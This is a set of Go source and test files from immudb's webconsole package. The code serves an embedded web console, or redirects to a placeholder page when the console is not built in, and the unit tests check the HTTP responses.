================================================ FILE: webconsole/webconsole.go ================================================ //go:build webconsole // +build webconsole package webconsole import ( "embed" "github.com/codenotary/immudb/embedded/logger" "io/fs" "net/http" ) //go:embed dist/* var content embed.FS func SetupWebconsole(mux *http.ServeMux, l logger.Logger, addr string) error { fSys, err := fs.Sub(content, "dist") if err != nil { return err } l.Infof("Webconsole enabled: %s", addr) mux.Handle("/", http.FileServer(http.FS(fSys))) return nil } ================================================ FILE: webconsole/webconsole_default.go ================================================ //go:build !webconsole // +build !webconsole package webconsole import ( "embed" "io/fs" "net/http" "github.com/codenotary/immudb/embedded/logger" ) //go:embed default/* var content embed.FS func SetupWebconsole(mux *http.ServeMux, l logger.Logger, addr string) error { fSys, err := fs.Sub(content, "default") if err != nil { return err } l.Infof("webconsole not built-in") mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { http.Redirect(w, r, "/missing/", http.StatusTemporaryRedirect) }) mux.Handle("/missing/", http.FileServer(http.FS(fSys))) return nil } ================================================ FILE: webconsole/webconsole_default_test.go ================================================ //go:build !webconsole // +build !webconsole package webconsole import ( "io/ioutil" "net/http" "net/http/httptest" "os" "testing" "github.com/codenotary/immudb/embedded/logger" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestSetupWebconsoleDefault(t *testing.T) { req, err := http.NewRequest("GET", "/", nil) require.NoError(t, err) handler := http.NewServeMux() err = SetupWebconsole(handler, logger.NewSimpleLogger("webconsole", os.Stderr), "localhost:8080") require.NoError(t, err) rr := httptest.NewRecorder() handler.ServeHTTP(rr, req) assert.Equal(t, http.StatusTemporaryRedirect, rr.Code) page, err := ioutil.ReadAll(rr.Body) require.NoError(t, err) assert.Contains(t, string(page), "missing") } ================================================ FILE: webconsole/webconsole_test.go ================================================ //go:build webconsole // +build webconsole package webconsole import ( "github.com/codenotary/immudb/embedded/logger" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "io/ioutil" "net/http" "net/http/httptest" "os" "testing" ) func TestSetupWebconsole(t *testing.T) { req, err := http.NewRequest("GET", "/", nil) require.NoError(t, err) handler := http.NewServeMux() SetupWebconsole(handler, logger.NewSimpleLogger("webconsole", os.Stderr), "localhost:8080") require.NoError(t, err) rr := httptest.NewRecorder() handler.ServeHTTP(rr, req) assert.Equal(t, http.StatusOK, rr.Code) page, err := ioutil.ReadAll(rr.Body) require.NoError(t, err) assert.Contains(t, string(page), "immudb webconsole") }